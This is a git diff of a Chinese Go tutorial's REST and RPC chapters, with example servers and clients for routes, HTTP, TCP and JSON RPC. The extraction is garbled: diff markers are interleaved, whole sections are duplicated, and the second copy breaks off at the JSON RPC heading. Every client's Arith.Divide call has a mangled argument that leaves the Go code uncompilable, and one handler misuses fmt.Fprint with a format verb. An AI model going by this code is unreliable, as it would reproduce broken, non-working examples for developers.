上面的代码演示了如何编写一个REST的应用,我们访问的资源是用户,我们通过不同的method来访问不同的函数,这里使用了第三方库`github.com/drone/routes`,在前面章节我们介绍过如何实现自定义的路由器,这个库实现了自定义路由和方便的路由规则映射,通过它,我们可以很方便的实现REST的架构。通过上面的代码可知,REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。
|
||||
|
||||
## 总结
|
||||
REST是一种架构风格,汲取了WWW的成功经验:无状态,以资源为中心,充分利用HTTP协议和URI协议,提供统一的接口定义,使得它作为一种设计Web服务的方法而变得流行。在某种意义上,通过强调URI和HTTP等早期Internet标准,REST是对大型应用程序服务器时代之前的Web方式的回归。目前Go对于REST的支持还是很简单的,通过实现自定义的路由规则,我们就可以为不同的method实现不同的handle,这样就实现了REST的架构。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [WebSocket](<08.2.md>)
|
||||
* 下一节: [RPC](<08.4.md>)
|
||||
# 8.3 REST
|
||||
RESTful,是目前最为流行的一种互联网软件架构。因为它结构清晰、符合标准、易于理解、扩展方便,所以正得到越来越多网站的采用。本小节我们将来学习它到底是一种什么样的架构?以及在Go里面如何来实现它。
|
||||
## 什么是REST
|
||||
REST(REpresentational State Transfer)这个概念,首次出现是在 2000年Roy Thomas Fielding(他是HTTP规范的主要编写者之一)的博士论文中,它指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是RESTful的。
|
||||
|
||||
要理解什么是REST,我们需要理解下面几个概念:
|
||||
|
||||
- 资源(Resources)
|
||||
REST是"表现层状态转化",其实它省略了主语。"表现层"其实指的是"资源"的"表现层"。
|
||||
|
||||
那么什么是资源呢?就是我们平常上网访问的一张图片、一个文档、一个视频等。这些资源我们通过URI来定位,也就是一个URI表示一个资源。
|
||||
|
||||
- 表现层(Representation)
|
||||
|
||||
资源是做一个具体的实体信息,他可以有多种的展现方式。而把实体展现出来就是表现层,例如一个txt文本信息,他可以输出成html、json、xml等格式,一个图片他可以jpg、png等方式展现,这个就是表现层的意思。
|
||||
|
||||
URI确定一个资源,但是如何确定它的具体表现形式呢?应该在HTTP请求的头信息中用Accept和Content-Type字段指定,这两个字段才是对"表现层"的描述。
|
||||
|
||||
- 状态转化(State Transfer)
|
||||
|
||||
访问一个网站,就代表了客户端和服务器的一个互动过程。在这个过程中,肯定涉及到数据和状态的变化。而HTTP协议是无状态的,那么这些状态肯定保存在服务器端,所以如果客户端想要通知服务器端改变数据和状态的变化,肯定要通过某种方式来通知它。
|
||||
|
||||
客户端能通知服务器端的手段,只能是HTTP协议。具体来说,就是HTTP协议里面,四个表示操作方式的动词:GET、POST、PUT、DELETE。它们分别对应四种基本操作:GET用来获取资源,POST用来新建资源(也可以用于更新资源),PUT用来更新资源,DELETE用来删除资源。
|
||||
|
||||
综合上面的解释,我们总结一下什么是RESTful架构:
|
||||
|
||||
- (1)每一个URI代表一种资源;
|
||||
- (2)客户端和服务器之间,传递这种资源的某种表现层;
|
||||
- (3)客户端通过四个HTTP动词,对服务器端资源进行操作,实现"表现层状态转化"。
|
||||
|
||||
|
||||
Web应用要满足REST最重要的原则是:客户端和服务器之间的交互在请求之间是无状态的,即从客户端到服务器的每个请求都必须包含理解请求所必需的信息。如果服务器在请求之间的任何时间点重启,客户端不会得到通知。此外此请求可以由任何可用服务器回答,这十分适合云计算之类的环境。因为是无状态的,所以客户端可以缓存数据以改进性能。
|
||||
|
||||
另一个重要的REST原则是系统分层,这表示组件无法了解除了与它直接交互的层次以外的组件。通过将系统知识限制在单个层,可以限制整个系统的复杂性,从而促进了底层的独立性。
|
||||
|
||||
下图即是REST的架构图:
|
||||
|
||||

|
||||
|
||||
图8.5 REST架构图
|
||||
|
||||
当REST架构的约束条件作为一个整体应用时,将生成一个可以扩展到大量客户端的应用程序。它还降低了客户端和服务器之间的交互延迟。统一界面简化了整个系统架构,改进了子系统之间交互的可见性。REST简化了客户端和服务器的实现,而且对于使用REST开发的应用程序更加容易扩展。
|
||||
|
||||
下图展示了REST的扩展性:
|
||||
|
||||

|
||||
|
||||
图8.6 REST的扩展性
|
||||
|
||||
## RESTful的实现
|
||||
Go没有为REST提供直接支持,但是因为RESTful是基于HTTP协议实现的,所以我们可以利用`net/http`包来自己实现,当然需要针对REST做一些改造,REST是根据不同的method来处理相应的资源,目前已经存在的很多自称是REST的应用,其实并没有真正的实现REST,我暂且把这些应用根据实现的method分成几个级别,请看下图:
|
||||
|
||||

|
||||
|
||||
图8.7 REST的level分级
|
||||
|
||||
上图展示了我们目前实现REST的三个level,我们在应用开发的时候也不一定全部按照RESTful的规则全部实现他的方式,因为有些时候完全按照RESTful的方式未必是可行的,RESTful服务充分利用每一个HTTP方法,包括`DELETE`和`PUT`。可有时,HTTP客户端只能发出`GET`和`POST`请求:
|
||||
|
||||
- HTML标准只能通过链接和表单支持`GET`和`POST`。在没有Ajax支持的网页浏览器中不能发出`PUT`或`DELETE`命令
|
||||
|
||||
- 有些防火墙会挡住HTTP `PUT`和`DELETE`请求要绕过这个限制,客户端需要把实际的`PUT`和`DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。
|
||||
|
||||
我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT`、`DELETE`等方式,但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RSETful来实现是很容易的,我们通过下面的例子来说明如何实现RESTful的应用设计。
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/drone/routes"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
func getuser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprintf(w, "you are get user %s", uid)
|
||||
}
|
||||
|
||||
func modifyuser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprintf(w, "you are modify user %s", uid)
|
||||
}
|
||||
|
||||
func deleteuser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprintf(w, "you are delete user %s", uid)
|
||||
}
|
||||
|
||||
func adduser(w http.ResponseWriter, r *http.Request) {
|
||||
params := r.URL.Query()
|
||||
uid := params.Get(":uid")
|
||||
fmt.Fprint(w, "you are add user %s", uid)
|
||||
}
|
||||
|
||||
func main() {
|
||||
mux := routes.New()
|
||||
mux.Get("/user/:uid", getuser)
|
||||
mux.Post("/user/:uid", modifyuser)
|
||||
mux.Del("/user/:uid", deleteuser)
|
||||
mux.Put("/user/", adduser)
|
||||
http.Handle("/", mux)
|
||||
http.ListenAndServe(":8088", nil)
|
||||
}
|
||||
|
||||
上面的代码演示了如何编写一个REST的应用,我们访问的资源是用户,我们通过不同的method来访问不同的函数,这里使用了第三方库`github.com/drone/routes`,在前面章节我们介绍过如何实现自定义的路由器,这个库实现了自定义路由和方便的路由规则映射,通过它,我们可以很方便的实现REST的架构。通过上面的代码可知,REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。
|
||||
|
||||
## 总结
|
||||
REST是一种架构风格,汲取了WWW的成功经验:无状态,以资源为中心,充分利用HTTP协议和URI协议,提供统一的接口定义,使得它作为一种设计Web服务的方法而变得流行。在某种意义上,通过强调URI和HTTP等早期Internet标准,REST是对大型应用程序服务器时代之前的Web方式的回归。目前Go对于REST的支持还是很简单的,通过实现自定义的路由规则,我们就可以为不同的method实现不同的handle,这样就实现了REST的架构。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [WebSocket](<08.2.md>)
|
||||
* 下一节: [RPC](<08.4.md>)
|
||||
784
08.4.md → ebook/08.4.md
Executable file → Normal file
784
08.4.md → ebook/08.4.md
Executable file → Normal file
@@ -1,392 +1,392 @@
|
||||
# 8.4 RPC
|
||||
前面几个小节我们介绍了如何基于Socket和HTTP来编写网络应用,通过学习我们了解了Socket和HTTP采用的是类似"信息交换"模式,即客户端发送一条信息到服务端,然后(一般来说)服务器端都会返回一定的信息以表示响应。客户端和服务端之间约定了交互信息的格式,以便双方都能够解析交互所产生的信息。但是很多独立的应用并没有采用这种模式,而是采用类似常规的函数调用的方式来完成想要的功能。
|
||||
|
||||
RPC就是想实现函数调用模式的网络化。客户端就像调用本地函数一样,然后客户端把这些参数打包之后通过网络传递到服务端,服务端解包到处理过程中执行,然后执行的结果反馈给客户端。
|
||||
|
||||
RPC(Remote Procedure Call Protocol)——远程过程调用协议,是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。它假定某些传输协议的存在,如TCP或UDP,以便为通信程序之间携带信息数据。通过它可以使函数调用模式网络化。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
|
||||
|
||||
## RPC工作原理
|
||||
|
||||

|
||||
|
||||
图8.8 RPC工作流程图
|
||||
|
||||
运行时,一次客户机对服务器的RPC调用,其内部操作大致有如下十步:
|
||||
|
||||
- 1.调用客户端句柄;执行传送参数
|
||||
- 2.调用本地系统内核发送网络消息
|
||||
- 3.消息传送到远程主机
|
||||
- 4.服务器句柄得到消息并取得参数
|
||||
- 5.执行远程过程
|
||||
- 6.执行的过程将结果返回服务器句柄
|
||||
- 7.服务器句柄返回结果,调用远程系统内核
|
||||
- 8.消息传回本地主机
|
||||
- 9.客户句柄由内核接收消息
|
||||
- 10.客户接收句柄返回的数据
|
||||
|
||||
## Go RPC
|
||||
Go标准包中已经提供了对RPC的支持,而且支持三个级别的RPC:TCP、HTTP、JSONRPC。但Go的RPC包是独一无二的RPC,它和传统的RPC系统不同,它只支持Go开发的服务器与客户端之间的交互,因为在内部,它们采用了Gob来编码。
|
||||
|
||||
Go RPC的函数只有符合下面的条件才能被远程访问,不然会被忽略,详细的要求如下:
|
||||
|
||||
- 函数必须是导出的(首字母大写)
|
||||
- 必须有两个导出类型的参数,
|
||||
- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的
|
||||
- 函数还要有一个返回值error
|
||||
|
||||
举个例子,正确的RPC函数格式如下:
|
||||
|
||||
func (t *T) MethodName(argType T1, replyType *T2) error
|
||||
|
||||
T、T1和T2类型必须能被`encoding/gob`包编解码。
|
||||
|
||||
任何的RPC都需要通过网络来传递数据,Go RPC可以利用HTTP和TCP来传递数据,利用HTTP的好处是可以直接复用`net/http`里面的一些函数。详细的例子请看下面的实现
|
||||
|
||||
### HTTP RPC
|
||||
http的服务端代码实现如下:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/rpc"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
rpc.HandleHTTP()
|
||||
|
||||
err := http.ListenAndServe(":1234", nil)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
通过上面的例子可以看到,我们注册了一个Arith的RPC服务,然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上,然后我们就可以利用http的方式来传递数据了。
|
||||
|
||||
请看下面的客户端代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server")
|
||||
os.Exit(1)
|
||||
}
|
||||
serverAddress := os.Args[1]
|
||||
|
||||
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息:
|
||||
|
||||
$ ./http_c localhost
|
||||
Arith: 17*8=136
|
||||
Arith: 17/8=2 remainder 1
|
||||
|
||||
通过上面的调用可以看到参数和返回值是我们定义的struct类型,在服务端我们把它们当做调用函数的参数的类型,在客户端作为`client.Call`的第2,3两个参数的类型。客户端最重要的就是这个Call函数,它有3个参数,第1个要调用的函数的名字,第2个是要传递的参数,第3个要返回的参数(注意是指针类型),通过上面的代码例子我们可以发现,使用Go的RPC实现相当的简单,方便。
|
||||
### TCP RPC
|
||||
上面我们实现了基于HTTP协议的RPC,接下来我们要实现基于TCP协议的RPC,服务端的实现代码如下所示:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
|
||||
checkError(err)
|
||||
|
||||
listener, err := net.ListenTCP("tcp", tcpAddr)
|
||||
checkError(err)
|
||||
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
rpc.ServeConn(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("Fatal error ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
上面这个代码和http的服务器相比,不同在于:在此处我们采用了TCP协议,然后需要自己控制连接,当有客户端连接上来后,我们需要把这个连接交给rpc来处理。
|
||||
|
||||
如果你留心了,你会发现这它是一个阻塞型的单用户的程序,如果想要实现多并发,那么可以使用goroutine来实现,我们前面在socket小节的时候已经介绍过如何处理goroutine。
|
||||
下面展现了TCP实现的RPC客户端:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server:port")
|
||||
os.Exit(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
|
||||
client, err := rpc.Dial("tcp", service)
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
这个客户端代码和http的客户端代码对比,唯一的区别一个是DialHTTP,一个是Dial(tcp),其他处理一模一样。
|
||||
|
||||
### JSON RPC
|
||||
JSON RPC是数据编码采用了JSON,而不是gob编码,其他和上面介绍的RPC概念一模一样,下面我们来演示一下,如何使用Go提供的json-rpc标准包,请看服务端代码的实现:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/rpc"
|
||||
"net/rpc/jsonrpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
|
||||
checkError(err)
|
||||
|
||||
listener, err := net.ListenTCP("tcp", tcpAddr)
|
||||
checkError(err)
|
||||
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
jsonrpc.ServeConn(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("Fatal error ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
通过示例我们可以看出 json-rpc是基于TCP协议实现的,目前它还不支持HTTP方式。
|
||||
|
||||
请看客户端的实现代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc/jsonrpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server:port")
|
||||
log.Fatal(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
|
||||
client, err := jsonrpc.Dial("tcp", service)
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
## 总结
|
||||
Go已经提供了对RPC的良好支持,通过上面HTTP、TCP、JSON RPC的实现,我们就可以很方便的开发很多分布式的Web应用,我想作为读者的你已经领会到这一点。但遗憾的是目前Go尚未提供对SOAP RPC的支持,欣慰的是现在已经有第三方的开源实现了。
|
||||
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [REST](<08.3.md>)
|
||||
* 下一节: [小结](<08.5.md>)
|
||||
# 8.4 RPC
|
||||
前面几个小节我们介绍了如何基于Socket和HTTP来编写网络应用,通过学习我们了解了Socket和HTTP采用的是类似"信息交换"模式,即客户端发送一条信息到服务端,然后(一般来说)服务器端都会返回一定的信息以表示响应。客户端和服务端之间约定了交互信息的格式,以便双方都能够解析交互所产生的信息。但是很多独立的应用并没有采用这种模式,而是采用类似常规的函数调用的方式来完成想要的功能。
|
||||
|
||||
RPC就是想实现函数调用模式的网络化。客户端就像调用本地函数一样,然后客户端把这些参数打包之后通过网络传递到服务端,服务端解包到处理过程中执行,然后执行的结果反馈给客户端。
|
||||
|
||||
RPC(Remote Procedure Call Protocol)——远程过程调用协议,是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。它假定某些传输协议的存在,如TCP或UDP,以便为通信程序之间携带信息数据。通过它可以使函数调用模式网络化。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。
|
||||
|
||||
## RPC工作原理
|
||||
|
||||

|
||||
|
||||
图8.8 RPC工作流程图
|
||||
|
||||
运行时,一次客户机对服务器的RPC调用,其内部操作大致有如下十步:
|
||||
|
||||
- 1.调用客户端句柄;执行传送参数
|
||||
- 2.调用本地系统内核发送网络消息
|
||||
- 3.消息传送到远程主机
|
||||
- 4.服务器句柄得到消息并取得参数
|
||||
- 5.执行远程过程
|
||||
- 6.执行的过程将结果返回服务器句柄
|
||||
- 7.服务器句柄返回结果,调用远程系统内核
|
||||
- 8.消息传回本地主机
|
||||
- 9.客户句柄由内核接收消息
|
||||
- 10.客户接收句柄返回的数据
|
||||
|
||||
## Go RPC
|
||||
Go标准包中已经提供了对RPC的支持,而且支持三个级别的RPC:TCP、HTTP、JSONRPC。但Go的RPC包是独一无二的RPC,它和传统的RPC系统不同,它只支持Go开发的服务器与客户端之间的交互,因为在内部,它们采用了Gob来编码。
|
||||
|
||||
Go RPC的函数只有符合下面的条件才能被远程访问,不然会被忽略,详细的要求如下:
|
||||
|
||||
- 函数必须是导出的(首字母大写)
|
||||
- 必须有两个导出类型的参数,
|
||||
- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的
|
||||
- 函数还要有一个返回值error
|
||||
|
||||
举个例子,正确的RPC函数格式如下:
|
||||
|
||||
func (t *T) MethodName(argType T1, replyType *T2) error
|
||||
|
||||
T、T1和T2类型必须能被`encoding/gob`包编解码。
|
||||
|
||||
任何的RPC都需要通过网络来传递数据,Go RPC可以利用HTTP和TCP来传递数据,利用HTTP的好处是可以直接复用`net/http`里面的一些函数。详细的例子请看下面的实现
|
||||
|
||||
### HTTP RPC
|
||||
http的服务端代码实现如下:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/rpc"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
rpc.HandleHTTP()
|
||||
|
||||
err := http.ListenAndServe(":1234", nil)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
通过上面的例子可以看到,我们注册了一个Arith的RPC服务,然后通过`rpc.HandleHTTP`函数把该服务注册到了HTTP协议上,然后我们就可以利用http的方式来传递数据了。
|
||||
|
||||
请看下面的客户端代码:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server")
|
||||
os.Exit(1)
|
||||
}
|
||||
serverAddress := os.Args[1]
|
||||
|
||||
client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
我们把上面的服务端和客户端的代码分别编译,然后先把服务端开启,然后开启客户端,输入代码,就会输出如下信息:
|
||||
|
||||
$ ./http_c localhost
|
||||
Arith: 17*8=136
|
||||
Arith: 17/8=2 remainder 1
|
||||
|
||||
通过上面的调用可以看到参数和返回值是我们定义的struct类型,在服务端我们把它们当做调用函数的参数的类型,在客户端作为`client.Call`的第2,3两个参数的类型。客户端最重要的就是这个Call函数,它有3个参数,第1个要调用的函数的名字,第2个是要传递的参数,第3个要返回的参数(注意是指针类型),通过上面的代码例子我们可以发现,使用Go的RPC实现相当的简单,方便。
|
||||
### TCP RPC
|
||||
上面我们实现了基于HTTP协议的RPC,接下来我们要实现基于TCP协议的RPC,服务端的实现代码如下所示:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
type Arith int
|
||||
|
||||
func (t *Arith) Multiply(args *Args, reply *int) error {
|
||||
*reply = args.A * args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func (t *Arith) Divide(args *Args, quo *Quotient) error {
|
||||
if args.B == 0 {
|
||||
return errors.New("divide by zero")
|
||||
}
|
||||
quo.Quo = args.A / args.B
|
||||
quo.Rem = args.A % args.B
|
||||
return nil
|
||||
}
|
||||
|
||||
func main() {
|
||||
|
||||
arith := new(Arith)
|
||||
rpc.Register(arith)
|
||||
|
||||
tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
|
||||
checkError(err)
|
||||
|
||||
listener, err := net.ListenTCP("tcp", tcpAddr)
|
||||
checkError(err)
|
||||
|
||||
for {
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
rpc.ServeConn(conn)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func checkError(err error) {
|
||||
if err != nil {
|
||||
fmt.Println("Fatal error ", err.Error())
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
上面这个代码和http的服务器相比,不同在于:在此处我们采用了TCP协议,然后需要自己控制连接,当有客户端连接上来后,我们需要把这个连接交给rpc来处理。
|
||||
|
||||
如果你留心了,你会发现这它是一个阻塞型的单用户的程序,如果想要实现多并发,那么可以使用goroutine来实现,我们前面在socket小节的时候已经介绍过如何处理goroutine。
|
||||
下面展现了TCP实现的RPC客户端:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/rpc"
|
||||
"os"
|
||||
)
|
||||
|
||||
type Args struct {
|
||||
A, B int
|
||||
}
|
||||
|
||||
type Quotient struct {
|
||||
Quo, Rem int
|
||||
}
|
||||
|
||||
func main() {
|
||||
if len(os.Args) != 2 {
|
||||
fmt.Println("Usage: ", os.Args[0], "server:port")
|
||||
os.Exit(1)
|
||||
}
|
||||
service := os.Args[1]
|
||||
|
||||
client, err := rpc.Dial("tcp", service)
|
||||
if err != nil {
|
||||
log.Fatal("dialing:", err)
|
||||
}
|
||||
// Synchronous call
|
||||
args := Args{17, 8}
|
||||
var reply int
|
||||
err = client.Call("Arith.Multiply", args, &reply)
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)
|
||||
|
||||
var quot Quotient
|
||||
err = client.Call("Arith.Divide", args, ")
|
||||
if err != nil {
|
||||
log.Fatal("arith error:", err)
|
||||
}
|
||||
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)
|
||||
|
||||
}
|
||||
|
||||
这个客户端代码和http的客户端代码对比,唯一的区别一个是DialHTTP,一个是Dial(tcp),其他处理一模一样。
|
||||
|
||||
### JSON RPC
|
||||
